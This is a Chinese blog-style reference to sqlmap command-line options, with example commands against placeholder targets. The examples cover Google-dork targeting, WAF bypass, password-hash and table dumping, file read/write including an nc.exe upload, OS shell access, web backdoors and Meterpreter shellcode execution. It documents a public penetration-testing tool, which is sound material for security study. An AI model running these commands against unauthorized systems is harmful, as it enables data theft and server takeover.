Sqlmap详细总结

简介:Sqlmap命令行帮助总结

什么是Sqlmap

SQLmap是一款用来检测与利用SQL注入漏洞的免费开源工具,对检测与利用的自动化处理(数据库指纹、访问底层文件系统、执行命令)

下载地址

http://sqlmap.org/

#支持注入类型

  • 布尔盲注,根据页面返回判断
  • 时间盲注
  • 报错注入
  • 联合注入
  • 堆查询注入

sqlmap支持的数据库有:

  • MySQL
  • PostgreSQL
  • Microsoft SQL Server
  • Microsoft Access
  • IBM DB2
  • SQLite

命令

参数:-v

如果你想观察sqlmap对一个点是进行了怎样的尝试判断以及读取数据的,可以使用-v参数。
共有七个等级,默认为1:
0、只显示python错误以及严重的信息。
1、同时显示基本信息和警告信息。(默认)
2、同时显示debug信息。
3、同时显示注入的payload。
4、同时显示HTTP请求。
5、同时显示HTTP响应头。
6、同时显示HTTP响应页面。
如果你想看到sqlmap发送的测试payload最好的等级就是3。

参数:-u或者–url

格式:http(s)://targeturl
例如:python sqlmap.py -u “http://deelmind.cn/deelmind.php"

参数:-l

可以直接吧Burp proxy或者WebScarab proxy中的日志直接倒出来交给sqlmap来一个一个检测是否有注入。

参数:-m

从文本中获取多个目标扫描
文件中保存url格式如下,sqlmap会一个一个检测
www.target1.com/index.php
www.target2.com/index.asp?id=1
www.target3.com/index.asp

参数:-r

从文件中加载HTTP请求
sqlmap可以从一个文本文件中获取HTTP请求,这样就可以跳过设置一些其他参数(比如cookie,POST数据,等等)。
比如文本文件内如下:
POST /vuln.php HTTP/1.1
Host: www.target.com
User-Agent: Mozilla/4.0
id=1
POST /vuln.php HTTP/1.1
Host: www.target.com
User-Agent: Mozilla/4.0
id=1
当请求是HTTPS的时候你需要配合这个–force-ssl参数来使用,或者你可以在Host头后面加上:443

参数:-g

处理Google的搜索结果
sqlmap可以测试注入Google的搜索结果中的GET参数(只获取前100个结果)。
例子:
python sqlmap.py -g “inurl:\”.php?id=1\””
python sqlmap.py -g “inurl:\”.php?id=1\””
此外可以使用-c参数加载sqlmap.conf文件里面的相关配置。

参数:–data

http数据
此参数是把数据以POST方式提交,sqlmap会像检测GET参数一样检测POST的参数。
例子:
python sqlmap.py -u “http://deelmind.cn/deelmind.php" –data=”id=1” -f –banner –dbs –users
python sqlmap.py -u “http://deelmind.cn/deelmind.php" –data=”id=1” -f –banner –dbs –users

参数:–param-del

参数拆分字符
当GET或POST的数据需要用其他字符分割测试参数的时候需要用到此参数。
例子:
python sqlmap.py -u “http://deelmind.cn/deelmind.php" –data=”query=foobar;id=1” –param-del=”;” -f –banner –dbs –users
python sqlmap.py -u “http://deelmind.cn/deelmind.php" –data=”query=foobar;id=1” –param-del=”;” -f –banner –dbs –users

HTTP cookie头
这个参数在以下两个方面很有用:
1、web应用需要登陆的时候。
2、你想要在这些头参数中测试SQL注入时。
可以通过抓包把cookie获取到,复制出来,然后加到–cookie参数里。
在HTTP请求中,遇到Set-Cookie的话,sqlmap会自动获取并且在以后的请求中加入,并且会尝试SQL注入。
如果你不想接受Set-Cookie可以使用–drop-set-cookie参数来拒接。
当你使用–cookie参数时,当返回一个Set-Cookie头的时候,sqlmap会询问你用哪个cookie来继续接下来的请求。当–level的参数设定为2或者2以上的时候,sqlmap会尝试注入Cookie参数。

参数:–user-agent,–random-agent

HTTP User-Agent头
默认情况下sqlmap的HTTP请求头中User-Agent值是:
sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)
sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)
可以使用–user-anget参数来修改,同时也可以使用–random-agnet参数来随机的从./txt/user-agents.txt中获取。
当–level参数设定为3或者3以上的时候,会尝试对User-Angent进行注入。

参数:–referer

HTTP Referer头
sqlmap可以在请求中伪造HTTP中的referer,当–level参数设定为3或者3以上的时候会尝试对referer注入。

参数:–headers

额外的HTTP头
可以通过–headers参数来增加额外的http头

参数:–auth-type,–auth-cred

HTTP认证保护
这些参数可以用来登陆HTTP的认证保护支持三种方式:
1、Basic
2、Digest
3、NTLM
例子:
Python sqlmap.py -u “http://deelmind.cn/deelmind.php" –auth-type Basic –auth-cred “testuser:testpass”
Python sqlmap.py -u “http://deelmind.cn/deelmind.php" –auth-type Basic –auth-cred “testuser:testpass”

参数:–auth-cert

HTTP协议的证书认证
当Web服务器需要客户端证书进行身份验证时,需要提供两个文件:key_file,cert_file。
key_file是格式为PEM文件,包含着你的私钥,cert_file是格式为PEM的连接文件。
参数:–proxy,–proxy-cred和–ignore-proxy
HTTP(S)代理
使用–proxy代理是格式为:http://url:port。
当HTTP(S)代理需要认证是可以使用–proxy-cred参数:username:password。
–ignore-proxy拒绝使用本地局域网的HTTP(S)代理。

参数:–delay

HTTP请求延迟
可以设定两个HTTP(S)请求间的延迟,设定为0.5的时候是半秒,默认是没有延迟的。

参数:–timeout

设定超时时间
可以设定一个HTTP(S)请求超过多久判定为超时,10.5表示10.5秒,默认是30秒。

参数:–retries

设定重试超时
当HTTP(S)超时时,可以设定重新尝试连接次数,默认是3次。

参数:–randomize

设定随机改变的参数值
可以设定某一个参数值在每一次请求中随机的变化,长度和类型会与提供的初始值一样。

参数:–scope

利用正则过滤目标网址
例如:
python sqlmap.py -l burp.log –scope=”(www)?.target.(com|net|org)”
python sqlmap.py -l burp.log –scope=”(www)?.target.(com|net|org)”

参数:–safe-url,–safe-freq

避免过多的错误请求被屏蔽
有的web应用程序会在你多次访问错误的请求时屏蔽掉你以后的所有请求,这样在sqlmap进行探测或者注入的时候可能造成错误请求而触发这个策略,导致以后无法进行。
绕过这个策略有两种方式:
1、–safe-url:提供一个安全不错误的连接,每隔一段时间都会去访问一下。
2、–safe-freq:提供一个安全不错误的连接,每次测试请求之后都会再访问一边安全连接。
1、–safe-url:提供一个安全不错误的连接,每隔一段时间都会去访问一下。
2、–safe-freq:提供一个安全不错误的连接,每次测试请求之后都会再访问一边安全连接。

参数:–skip-urlencode

关掉URL参数值编码
根据参数位置,他的值默认将会被URL编码,但是有些时候后端的web服务器不遵守RFC标准,只接受不经过URL编码的值,这时候就需要用–skip-urlencode参数。

参数:–eval

每次请求时候执行自定义的python代码
在有些时候,需要根据某个参数的变化,而修改另个一参数,才能形成正常的请求,这时可以用–eval参数在每次请求时根据所写python代码做完修改后请求。
例子:
Python sqlmap.py -u “http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b" –eval=”import hashlib;hash=hashlib.md5(id).hexdigest()”
Python sqlmap.py -u “http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b" –eval=”import hashlib;hash=hashlib.md5(id).hexdigest()”
上面的请求就是每次请求时根据id参数值,做一次md5后作为hash参数的值。

参数:-p,–skip

测试参数
sqlmap默认测试所有的GET和POST参数,当–level的值大于等于2的时候也会测试HTTP Cookie头的值,当大于等于3的时候也会测试User-Agent和HTTP Referer头的值。但是你可以手动用-p参数设置想要测试的参数。例如: -p “id,user-anget”

当你使用–level的值很大但是有个别参数不想测试的时候可以使用–skip参数。
例如:–skip=”user-angent.referer”
在有些时候web服务器使用了URL重写,导致无法直接使用sqlmap测试参数,可以在想测试的参数后面加
例如:
python sqlmap.py -u “http://targeturl/param1/value1
/param2/value2/“
python sqlmap.py -u “http://targeturl/param1/value1*/param2/value2/"
sqlmap将会测试value1的位置是否可注入。

参数:–dbms

指定数据库
默认情况系sqlmap会自动的探测web应用后端的数据库是什么,sqlmap支持的数据库有:
MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、SQLite、Firebird、Sybase、SAP MaxDB、DB2

参数:–os

指定数据库服务器系统
默认情况下sqlmap会自动的探测数据库服务器系统,支持的系统有:Linux、Windows。
参数:–invalid-bignum
指定无效的大数字
当你想指定一个报错的数值时,可以使用这个参数,例如默认情况系id=13,sqlmap会变成id=-13来报错,你可以指定比如id=9999999来报错

参数:–invalid-logical

只定无效的逻辑
原因同上,可以指定id=13把原来的id=-13的报错改成id=13 AND 18=19

参数:–prefix,–suffix

注入payload
在有些环境中,需要在注入的payload的前面或者后面加一些字符,来保证payload的正常执行。
例如,代码中是这样调用数据库的:
$query = "SELECT * FROM users WHERE id=(’" . $_GET[’id’] . "’) LIMIT 0, 1"; $query = "SELECT * FROM users WHERE id=(’" . $_GET[’id’] . "’) LIMIT 0, 1";
这时你就需要–prefix和–suffix参数了:
Python sqlmap.py -u “http://deelmind.cn/deelmind.php?id=1" -p id –prefix “’)” –suffix “AND (’abc’=’abc”
Python sqlmap.py -u “http://deelmind.cn/deelmind.php?id=1" -p id –prefix “’)” –suffix “AND (’abc’=’abc”
这样执行的SQL语句变成:
$query = “SELECT FROM users WHERE id=(’1’) <PAYLOAD> AND (’abc’=’abc’) LIMIT 0, 1”;
$query = “SELECT
FROM users WHERE id=(’1’) <PAYLOAD> AND (’abc’=’abc’) LIMIT 0, 1”;

参数:–tamper

修改注入的数据
sqlmap除了使用CHAR()函数来防止出现单引号之外没有对注入的数据修改,你可以使用–tamper参数对数据做修改来绕过WAF等设备。
例如:
python sqlmap.py -u “http://deelmind.cn/deelmind.php?id=1" –tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3

参数:–level

探测等级
共有五个等级,默认为1,最大为5,sqlmap使用的payload可以在xml/payloads.xml中看到,你也可以根据相应的格式添加自己的payload。
这个参数不仅影响使用哪些payload同时也会影响测试的注入点,GET和POST的数据都会测试,HTTP Cookie在level为2的时候就会测试,HTTP User-Agent/Referer头在level为3的时候就会测试。
总之在你不确定哪个payload或者参数为注入点的时候,为了保证全面性,建议使用高的level值。

参数:–risk

风险等级
共有四个风险等级,默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。
在有些时候,例如在UPDATE的语句中,注入一个OR的测试语句,可能导致更新的整个表,可能造成很大的风险。
测试的语句同样可以在xml/payloads.xml中找到,你也可以自行添加payload。

参数:–string,–not-string,–regexp,–code

页面比较
默认情况下sqlmap通过判断返回页面的不同来判断真假,但有时候这会产生误差,因为有的页面在每次刷新的时候都会返回不同的代码,比如页面当中包含一个动态的广告或者其他内容,这会导致sqlmap的误判。此时用户可以提供一个字符串或者一段正则匹配,在原始页面与真条件下的页面都存在的字符串,而错误页面中不存在(使用–string参数添加字符串,–regexp添加正则),同时用户可以提供一段字符串在原始页面与真条件下的页面都不存在的字符串,而错误页面中存在的字符串(–not-string添加)。用户也可以提供真与假条件返回的HTTP状态码不一样来注入,例如,响应200的时候为真,响应401的时候为假,可以添加参数–code=200。

参数:–text-only,–titles

有些时候用户知道真条件下的返回页面与假条件下返回页面是不同位置在哪里可以使用–text-only(HTTP响应体中不同)–titles(HTML的title标签中不同)。
注入技术
测试是否是注入

参数:–technique

这个参数可以指定sqlmap使用的探测技术,默认情况下会测试所有的方式。
支持的探测方式如下:
B: Boolean-based blind SQL injection(布尔型注入)
E: Error-based SQL injection(报错型注入)
U: UNION query SQL injection(可联合查询注入)
S: Stacked queries SQL injection(可多语句查询注入)
T: Time-based blind SQL injection(基于时间延迟注入)
B: Boolean-based blind SQL injection(布尔型注入)
E: Error-based SQL injection(报错型注入)
U: UNION query SQL injection(可联合查询注入)
S: Stacked queries SQL injection(可多语句查询注入)
T: Time-based blind SQL injection(基于时间延迟注入)

参数:–time-sec

设定延迟注入的时间
当使用继续时间的盲注时,时刻使用–time-sec参数设定延时时间,默认是5秒。
设定UNION查询字段数

参数:–union-cols

默认情况下sqlmap测试UNION查询注入会测试1-10个字段数,当–level为5的时候他会增加测试到50个字段数。设定–union-cols的值应该是一段整数,如:12-16,是测试12-16个字段数。

设定UNION查询使用的字符

参数:–union-char

默认情况下sqlmap针对UNION查询的注入会使用NULL字符,但是有些情况下会造成页面返回失败,而一个随机整数是成功的,这是你可以用–union-char只定UNION查询的字符。

二阶SQL注入

参数:–second-order

有些时候注入点输入的数据看返回结果的时候并不是当前的页面,而是另外的一个页面,这时候就需要你指定到哪个页面获取响应判断真假。–second-order后面跟一个判断页面的URL地址。

参数:-b,–banner

大多数的数据库系统都有一个函数可以返回数据库的版本号,通常这个函数是version()或者变量@@version这主要取决与是什么数据库。

参数:-current-user

在大多数据库中可以获取到管理数据的用户。

参数:–current-db

返还当前连接的数据库。

参数:–is-dba

判断当前的用户是否为管理,是的话会返回True。

参数:–users

当前用户有权限读取包含所有用户的表的权限时,就可以列出所有管理用户。

参数:–passwords

当前用户有权限读取包含用户密码的彪的权限时,sqlmap会现列举出用户,然后列出hash,并尝试破解。
例子:
$ python sqlmap.py -u “http://deelmind.cn/deelmind.php" –passwords -v 1
$ python sqlmap.py -u “http://deelmind.cn/deelmind.php" –passwords -v 1
可以看到sqlmap不仅勒出数据库的用户跟密码,同时也识别出是PostgreSQL数据库,并询问用户是否采用字典爆破的方式进行破解,这个爆破已经支持Oracle和Microsoft SQL Server。
也可以提供-U参数来指定爆破哪个用户的hash。

参数:–privileges

当前用户有权限读取包含所有用户的表的权限时,很可能列举出每个用户的权限,sqlmap将会告诉你哪个是数据库的超级管理员。也可以用-U参数指定你想看哪个用户的权限。

参数:–roles

当前用户有权限读取包含所有用户的表的权限时,很可能列举出每个用户的角色,也可以用-U参数指定你想看哪个用户的角色。
仅适用于当前数据库是Oracle的时候。

参数:–dbs

当前用户有权限读取包含所有数据库列表信息的表中的时候,即可列出所有的数据库。

参数:–tables,–exclude-sysdbs,-D

当前用户有权限读取包含所有数据库表信息的表中的时候,即可列出一个特定数据的所有表。
如果你不提供-D参数来列指定的一个数据的时候,sqlmap会列出数据库所有库的所有表。
–exclude-sysdbs参数是指包含了所有的系统数据库。
需要注意的是在Oracle中你需要提供的是TABLESPACE_NAME而不是数据库名称。

参数:–columns,-C,-T,-D

当前用户有权限读取包含所有数据库表信息的表中的时候,即可列出指定数据库表中的字段,同时也会列出字段的数据类型。
如果没有使用-D参数指定数据库时,默认会使用当前数据库。

参数:–schema,–exclude-sysdbs

用户可以用此参数获取数据库的架构,包含所有的数据库,表和字段,以及各自的类型。
加上–exclude-sysdbs参数,将不会获取数据库自带的系统库内容。

参数:–count

有时候用户只想获取表中的数据个数而不是具体的内容,那么就可以使用这个参数。

参数:–dump,-C,-T,-D,–start,–stop,–first,–last

如果当前管理员有权限读取数据库其中的一个表的话,那么就能获取真个表的所有内容。
使用-D,-T参数指定想要获取哪个库的哪个表,不适用-D参数时,默认使用当前库。
可以获取指定库中的所有表的内容,只用-dump跟-D参数(不使用-T与-C参数)。
也可以用-dump跟-C获取指定的字段内容。
sqlmap为每个表生成了一个CSV文件。
如果你只想获取一段数据,可以使用–start和–stop参数,例如,你只想获取第一段数据可hi使用–stop 1,如果想获取第二段与第三段数据,使用参数 –start 1 –stop 3。
也可以用–first与–last参数,获取第几个字符到第几个字符的内容,如果你想获取字段中地三个字符到第五个字符的内容,使用–first 3 –last 5,只在盲注的时候使用,因为其他方式可以准确的获取注入内容,不需要一个字符一个字符的猜解。

参数:–dump-all,–exclude-sysdbs

使用–dump-all参数获取所有数据库表的内容,可同时加上–exclude-sysdbs只获取用户数据库的表,需要注意在Microsoft SQL Server中master数据库没有考虑成为一个系统数据库,因为有的管理员会把他当初用户数据库一样来使用它。

参数:–search,-C,-T,-D

–search可以用来寻找特定的数据库名,所有数据库中的特定表名,所有数据库表中的特定字段。
可以在一下三种情况下使用:
-C后跟着用逗号分割的列名,将会在所有数据库表中搜索指定的列名。
-T后跟着用逗号分割的表名,将会在所有数据库中搜索指定的表名
-D后跟着用逗号分割的库名,将会在所有数据库中搜索指定的库名。
-C后跟着用逗号分割的列名,将会在所有数据库表中搜索指定的列名。
-T后跟着用逗号分割的表名,将会在所有数据库中搜索指定的表名
-D后跟着用逗号分割的库名,将会在所有数据库中搜索指定的库名。

参数:–sql-query,–sql-shell

sqlmap会自动检测确定使用哪种SQL注入技术,如何插入检索语句。
如果是SELECT查询语句,sqlap将会输出结果。如果是通过SQL注入执行其他语句,需要测试是否支持多语句执行SQL语句。
列举一个Mircrosoft SQL Server 2000的例子:
$ python sqlmap.py -u “http://deelmind.cn/deelmind.php" –sql-query “SELECT ‘foo’” -v 1

爆破
暴力破解表名
参数:–common-tables
当使用–tables无法获取到数据库的表时,可以使用此参数。
通常是如下情况:

1、MySQL数据库版本小于5.0,没有information_schema表。
2、数据库是Microssoft Access,系统表MSysObjects是不可读的(默认)。
3、当前用户没有权限读取系统中保存数据结构的表的权限。
1、MySQL数据库版本小于5.0,没有information_schema表。
2、数据库是Microssoft Access,系统表MSysObjects是不可读的(默认)。
3、当前用户没有权限读取系统中保存数据结构的表的权限。
暴力破解的表在txt/common-tables.txt文件中,你可以自己添加。

暴力破解列名

参数:–common-columns

与暴力破解表名一样,暴力跑的列名在txt/common-columns.txt中。

用户自定义函数注入

参数:–udf-inject,–shared-lib

你可以通过编译MySQL注入你自定义的函数(UDFs)或PostgreSQL在windows中共享库,DLL,或者Linux/Unix中共享对象,sqlmap将会问你一些问题,上传到服务器数据库自定义函数,然后根据你的选择执行他们,当你注入完成后,sqlmap将会移除它们。

系统文件操作
从数据库服务器中读取文件
参数:–file-read
当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。读取的文件可以是文本也可以是二进制文件。
$python sqlmap.py -u “http://deelmind.cn/deelmind.php" –file-read “C:/example.exe” -v 1

把文件上传到数据库服务器中

参数:–file-write,–file-dest

当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。上传的文件可以是文本也可以是二进制文件。
$ python sqlmap.py -u “http://deelmind.cn/deelmind.php" –file-write “/software/nc.exe.packed” –file-dest “C:/WINDOWS/Temp/nc.exe” -v 1

运行任意操作系统命令

参数:–os-cmd,–os-shell

当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。
在MySQL、PostgreSQL,sqlmap上传一个二进制库,包含用户自定义的函数,sys_exec()和sys_eval()。
那么他创建的这两个函数可以执行系统命令。在Microsoft SQL Server,sqlmap将会使用xp_cmdshell存储过程,如果被禁(在Microsoft SQL Server 2005及以上版本默认禁制),sqlmap会重新启用它,如果不存在,会自动创建。
列举一个PostgreSQL的例子:
$ python sqlmap.py -u “http://deelmind.cn/deelmind.php" –os-cmd id -v 1
用–os-shell参数也可以模拟一个真实的shell,可以输入你想执行的命令。
当不能执行多语句的时候(比如php或者asp的后端数据库为MySQL时),仍然可能使用INTO OUTFILE写进可写目录,来创建一个web后门。支持的语言:
1、ASP
2、ASP.NET
3、JSP
4、PHP

Meterpreter配合使用

参数:–os-pwn,–os-smbrelay,–os-bof,–priv-esc,–msf-path,–tmp-path

当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数,可以在数据库与攻击者直接建立TCP连接,这个连接可以是一个交互式命令行的Meterpreter会话,sqlmap根据Metasploit生成shellcode,并有四种方式执行它:
1、通过用户自定义的sys_bineval()函数在内存中执行Metasplit的shellcode,支持MySQL和PostgreSQL数据库,参数:–os-pwn。
2、通过用户自定义的函数上传一个独立的payload执行,MySQL和PostgreSQL的sys_exec()函数,Microsoft SQL Server的xp_cmdshell()函数,参数:–os-pwn。
3、通过SMB攻击(MS08-068)来执行Metasploit的shellcode,当sqlmap获取到的权限足够高的时候(Linux/Unix的uid=0,Windows是Administrator),–os-smbrelay。
4、通过溢出Microsoft SQL Server 2000和2005的sp_replwritetovarbin存储过程(MS09-004),在内存中执行Metasploit的payload,参数:–os-bof
1、通过用户自定义的sys_bineval()函数在内存中执行Metasplit的shellcode,支持MySQL和PostgreSQL数据库,参数:–os-pwn。
2、通过用户自定义的函数上传一个独立的payload执行,MySQL和PostgreSQL的sys_exec()函数,Microsoft SQL Server的xp_cmdshell()函数,参数:–os-pwn。
3、通过SMB攻击(MS08-068)来执行Metasploit的shellcode,当sqlmap获取到的权限足够高的时候(Linux/Unix的uid=0,Windows是Administrator),–os-smbrelay。
4、通过溢出Microsoft SQL Server 2000和2005的sp_replwritetovarbin存储过程(MS09-004),在内存中执行Metasploit的payload,参数:–os-bof
列举一个MySQL例子:

$python sqlmap.py -u “http://deelmind.cn/deelmind.php" –os-pwn –msf-path /software/metasploit

默认情况下MySQL在Windows上以SYSTEM权限运行,PostgreSQL在Windows与Linux中是低权限运行,Microsoft SQL Server 2000默认是以SYSTEM权限运行,Microsoft SQL Server 2005与2008大部分是以NETWORK SERVICE有时是LOCAL SERVICE。

对Windows注册表操作
当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前web应用支持堆查询。 当然,当前连接数据库的用户也需要有权限操作注册表。

参数:–reg-read

读取注册表值

参数:–reg-add

写入注册表值

参数:–reg-del

删除注册表值

参数:–reg-key,–reg-value,–reg-data,–reg-type

需要配合之前三个参数使用,例子:
$ python sqlmap.py -u “http://deelmind.cn/deelmind.php" –reg-add –reg-key=”HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap” –reg-value=Test –reg-type=REG_SZ –reg-data=1

$ python sqlmap.py -u “http://deelmind.cn/deelmind.php" –reg-add –reg-key=”HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap” –reg-value=Test –reg-type=REG_SZ –reg-data=1

参数:-s

从sqlite中读取session
sqlmap对每一个目标都会在output路径下自动生成一个SQLite文件,如果用户想指定读取的文件路径,就可以用这个参数。

参数:-t

保存HTTP(S)日志
这个参数需要跟一个文本文件,sqlmap会把HTTP(S)请求与响应的日志保存到那里。

参数:–batch

非交互模式
用此参数,不需要用户输入,将会使用sqlmap提示的默认值一直运行下去。

参数:–charset

强制使用字符编码
不使用sqlmap自动识别的(如HTTP头中的Content-Type)字符编码,强制指定字符编码如:
–charset=GBK
–charset=GBK

参数:–crawl

爬行网站URL
sqlmap可以收集潜在的可能存在漏洞的连接,后面跟的参数是爬行的深度。
例子:
$ python sqlmap.py -u “http://deelmind.cn/deelmind.php" –batch –crawl=3

参数:–csv-del

规定输出到CSV中的分隔符
当dump保存为CSV格式时(–dump-format=CSV),需要一个分隔符默认是逗号,用户也可以改为别的 如:
–csv-del=”;”

参数:–dbms-cred

DBMS身份验证
某些时候当前用户的权限不够,做某些操作会失败,如果知道高权限用户的密码,可以使用此参数,有的数据库有专门的运行机制,可以切换用户如Microsoft SQL Server的OPENROWSET函数

参数:–dump-format

定义dump数据的格式
输出的格式可定义为:CSV,HTML,SQLITE

参数:–eta

预估完成时间
可以计算注入数据的剩余时间。
例如Oracle的布尔型盲注:
$python sqlmap.py -u “http://deelmind.cn/deelmind.php" -b –eta

刷新session文件

参数:–flush-session

如果不想用之前缓存这个目标的session文件,可以使用这个参数。 会清空之前的session,重新测试该目标。

参数:–forms

自动获取form表单测试
如果你想对一个页面的form表单中的参数测试,可以使用-r参数读取请求文件,或者通过–data参数测试。 但是当使用–forms参数时,sqlmap会自动从-u中的url获取页面中的表单进行测试。

参数:–fresh-queries

忽略在会话文件中存储的查询结果
忽略session文件保存的查询,重新查询

参数:–hex

使用DBMS的hex函数
有时候字符编码的问题,可能导致数据丢失,可以使用hex函数来避免:
针对PostgreSQL例子:
$ python sqlmap.py -u “http://deelmind.cn/deelmind.php" –banner –hex -v 3 –parse-errors

参数:–output-dir

自定义输出的路径
sqlmap默认把session文件跟结果文件保存在output文件夹下,用此参数可自定义输出路径 例如:–output-dir=/tmp

参数:–parse-errors

从响应中获取DBMS的错误信息
有时目标没有关闭DBMS的报错,当数据库语句错误时,会输出错误语句,用词参数可以会显出错误信息。
$python sqlmap.py -u “http://deelmind.cn/deelmind.php" –parse-errors

参数:-z

使用参数缩写
有使用参数太长太复杂,可以使用缩写模式。 例如:
python sqlmap.py –batch –random-agent –ignore-proxy –technique=BEU -u “www.target.com/vuln.php?id=1"
python sqlmap.py –batch –random-agent –ignore-proxy –technique=BEU -u “www.target.com/vuln.php?id=1"
可以写成:
python sqlmap.py -z “bat,randoma,ign,tec=BEU” -u “www.target.com/vuln.php?id=1"
python sqlmap.py -z “bat,randoma,ign,tec=BEU” -u “www.target.com/vuln.php?id=1"

还有:
python sqlmap.py –ignore-proxy –flush-session –technique=U –dump -D testdb -T users -u “www.target.com/vuln.php?id=1"
1
python sqlmap.py –ignore-proxy –flush-session –technique=U –dump -D testdb -T users -u “www.target.com/vuln.php?id=1"
可以写成:
python sqlmap.py -z “ign,flu,bat,tec=U,dump,D=testdb,T=users” -u “www.target.com/vuln.php?id=1"
1
python sqlmap.py -z “ign,flu,bat,tec=U,dump,D=testdb,T=users” -u www.target.com/vuln.php?id=1

参数:–alert

成功SQL注入时警告

设定会发的答案

参数:–answers

当希望sqlmap提出输入时,自动输入自己想要的答案可以使用此参数: 例子:
$ python sqlmap.py -u “http://deelmind.cn/deelmind.php" –answers=”extending=N”

参数:–beep

发现sql注入时,发出蜂鸣声。

启发式检测WAF/IPS/IDS保护

参数:–check-waf

WAF/IPS/IDS保护可能会对sqlmap造成很大的困扰,如果怀疑目标有此防护的话,可以使用此参数来测试。 sqlmap将会使用一个不存在的参数来注入测试

参数:–cleanup

清理sqlmap的UDF(s)和表
清除sqlmap注入时产生的udf与表。

参数:–disable-coloring

禁用彩色输出
sqlmap默认彩色输出,可以使用此参数,禁掉彩色输出。

参数:–gpage

使用指定的Google结果页面
默认sqlmap使用前100个URL地址作为注入测试,结合此选项,可以指定页面的URL测试。

参数:-hpp

使用HTTP参数污染
HTTP参数污染可能会绕过WAF/IPS/IDS保护机制,这个对ASP/IIS与ASP.NET/IIS平台很有效。

参数:–identify-waf

测试WAF/IPS/IDS保护
sqlmap可以尝试找出WAF/IPS/IDS保护,方便用户做出绕过方式。目前大约支持30种产品的识别。
例如对一个受到ModSecurity WAF保护的MySQL例子:
$ python sqlmap.py -u “http://deelmind.cn/deelmind.php" –identify-waf -v 3

参数:–mobile

模仿智能手机
有时服务端只接收移动端的访问,此时可以设定一个手机的User-Agent来模仿手机登陆。
例如:
$ python sqlmap.py -u “http://deelmind.cn/deelmind.php" –mobile

参数:–purge-output

安全的删除output目录的文件
有时需要删除结果文件,而不被恢复,可以使用此参数,原有文件将会被随机的一些文件覆盖。
例如:
$ python sqlmap.py –purge-output -v 3

参数:–smart

启发式判断注入
有时对目标非常多的URL进行测试,为节省时间,只对能够快速判断为注入的报错点进行注入,可以使用此参数
例子:
$ python sqlmap.py -u “http://deelmind.cn/deelmind.php" –batch –smart

参数:–wizard

面向初级用户的参数,可以一步一步教你如何输入针对目标注入。
$ python sqlmap.py –wizard

×

谢谢支持

扫码支持
扫码打赏

打开支付宝扫一扫,即可进行扫码打赏哦

文章目录
  1. 1. 什么是Sqlmap
  2. 2. 下载地址
  3. 3. sqlmap支持的数据库有:
  4. 4. 命令
    1. 4.0.1. 参数:-v
    2. 4.0.2. 参数:-u或者–url
    3. 4.0.3. 参数:-l
    4. 4.0.4. 参数:-m
    5. 4.0.5. 参数:-r
    6. 4.0.6. 参数:-g
    7. 4.0.7. 参数:–data
    8. 4.0.8. 参数:–param-del
    9. 4.0.9. 参数:–cookie,–load-cookies,–drop-set-cookie
    10. 4.0.10. 参数:–user-agent,–random-agent
    11. 4.0.11. 参数:–referer
    12. 4.0.12. 参数:–headers
    13. 4.0.13. 参数:–auth-type,–auth-cred
    14. 4.0.14. 参数:–auth-cert
    15. 4.0.15. 参数:–delay
    16. 4.0.16. 参数:–timeout
    17. 4.0.17. 参数:–retries
    18. 4.0.18. 参数:–randomize
    19. 4.0.19. 参数:–scope
    20. 4.0.20. 参数:–safe-url,–safe-freq
    21. 4.0.21. 参数:–skip-urlencode
    22. 4.0.22. 参数:–eval
    23. 4.0.23. 参数:-p,–skip
    24. 4.0.24. 参数:–dbms
    25. 4.0.25. 参数:–os
    26. 4.0.26. 参数:–invalid-logical
    27. 4.0.27. 参数:–prefix,–suffix
    28. 4.0.28. 参数:–tamper
    29. 4.0.29. 参数:–level
    30. 4.0.30. 参数:–risk
    31. 4.0.31. 参数:–string,–not-string,–regexp,–code
    32. 4.0.32. 参数:–text-only,–titles
    33. 4.0.33. 参数:–technique
    34. 4.0.34. 参数:–time-sec
    35. 4.0.35. 参数:–union-cols
    36. 4.0.36. 参数:–union-char
    37. 4.0.37. 参数:–second-order
    38. 4.0.38. 参数:-b,–banner
    39. 4.0.39. 参数:-current-user
    40. 4.0.40. 参数:–current-db
    41. 4.0.41. 参数:–is-dba
    42. 4.0.42. 参数:–users
    43. 4.0.43. 参数:–passwords
    44. 4.0.44. 参数:–privileges
    45. 4.0.45. 参数:–roles
    46. 4.0.46. 参数:–dbs
    47. 4.0.47. 参数:–tables,–exclude-sysdbs,-D
    48. 4.0.48. 参数:–columns,-C,-T,-D
    49. 4.0.49. 参数:–schema,–exclude-sysdbs
    50. 4.0.50. 参数:–count
    51. 4.0.51. 参数:–dump,-C,-T,-D,–start,–stop,–first,–last
    52. 4.0.52. 参数:–dump-all,–exclude-sysdbs
    53. 4.0.53. 参数:–search,-C,-T,-D
    54. 4.0.54. 参数:–sql-query,–sql-shell
    55. 4.0.55. 参数:–common-columns
    56. 4.0.56. 参数:–udf-inject,–shared-lib
    57. 4.0.57. 参数:–file-write,–file-dest
    58. 4.0.58. 参数:–os-cmd,–os-shell
    59. 4.0.59. 参数:–os-pwn,–os-smbrelay,–os-bof,–priv-esc,–msf-path,–tmp-path
    60. 4.0.60. 参数:–reg-read
    61. 4.0.61. 参数:–reg-add
    62. 4.0.62. 参数:–reg-del
    63. 4.0.63. 参数:–reg-key,–reg-value,–reg-data,–reg-type
    64. 4.0.64. 参数:-s
    65. 4.0.65. 参数:-t
    66. 4.0.66. 参数:–batch
    67. 4.0.67. 参数:–charset
    68. 4.0.68. 参数:–crawl
    69. 4.0.69. 参数:–csv-del
    70. 4.0.70. 参数:–dbms-cred
    71. 4.0.71. 参数:–dump-format
    72. 4.0.72. 参数:–eta
    73. 4.0.73. 参数:–flush-session
    74. 4.0.74. 参数:–forms
